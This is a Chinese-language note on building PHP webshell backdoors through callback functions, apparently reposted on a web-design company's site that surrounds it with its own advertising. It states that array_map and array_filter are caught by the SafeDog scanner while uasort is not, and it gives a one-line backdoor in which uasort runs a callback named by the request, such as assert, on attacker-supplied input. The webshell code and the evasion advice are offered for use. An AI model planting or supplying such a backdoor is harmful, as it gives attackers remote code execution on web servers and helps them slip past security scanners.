在php中 存在回调函数参数的函数,都有可能作为后门
创新互联是专业的尼元阳网站建设公司,尼元阳接单;提供网站设计制作、网站设计,网页设计,网站设计,建网站,PHP网站建设等专业做网站服务;采用PHP框架,可快速的进行尼元阳网站开发网页制作和功能扩展;专业做搜索引擎喜爱的网站,专业的做网站团队,希望更多企业前来合作!
比如array_map , array_filter 这类数组操作的回调函数,但是在安全狗下会被杀掉
但是uasort 这类函数不会被杀掉。
php5.4.8之后的assert
在5.4.8之后,assert函数由一个参数,变成了两个参数。增加了一个可选参数descrition:
5.4.8增加了参数 description。 description 现在也作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数。 |
那么这里就可以使用有两个参数的回调函数了,比如
<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'] , 'te'); uasort($arr , $e);
在php5.3环境下会报错,因为5.3的assert只有一个参数。
在php5.4以后就可以执行了
这里的传递参数的顺序也有变化,在php7之前不包括PHP7 , 传递参数是array的第一个参数就是回调函数的第二个参数。
在php7及以后,array的第一个参数是回调函数的第一个参数。
比如:
function mysort($var_1 , $var_2) { echo "var_1 : ".$var_1."<br>"; echo "var_2 : ".$var_2."<br>"; } $arr = array("1" , "2"); uasort($arr , 'mysort');
在php7以前的环境输出:
var_1 : 2
var_2 : 1
在php7及其以后的环境输出:
var_1 : 1
var_2 : 2
分享标题:PHP回调后门笔记
标题网址:https://www.cdcxhl.com/article30/pedjso.html
成都网站建设公司_创新互联,为您提供品牌网站制作、软件开发、商城网站、面包屑导航、微信公众号、响应式网站
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联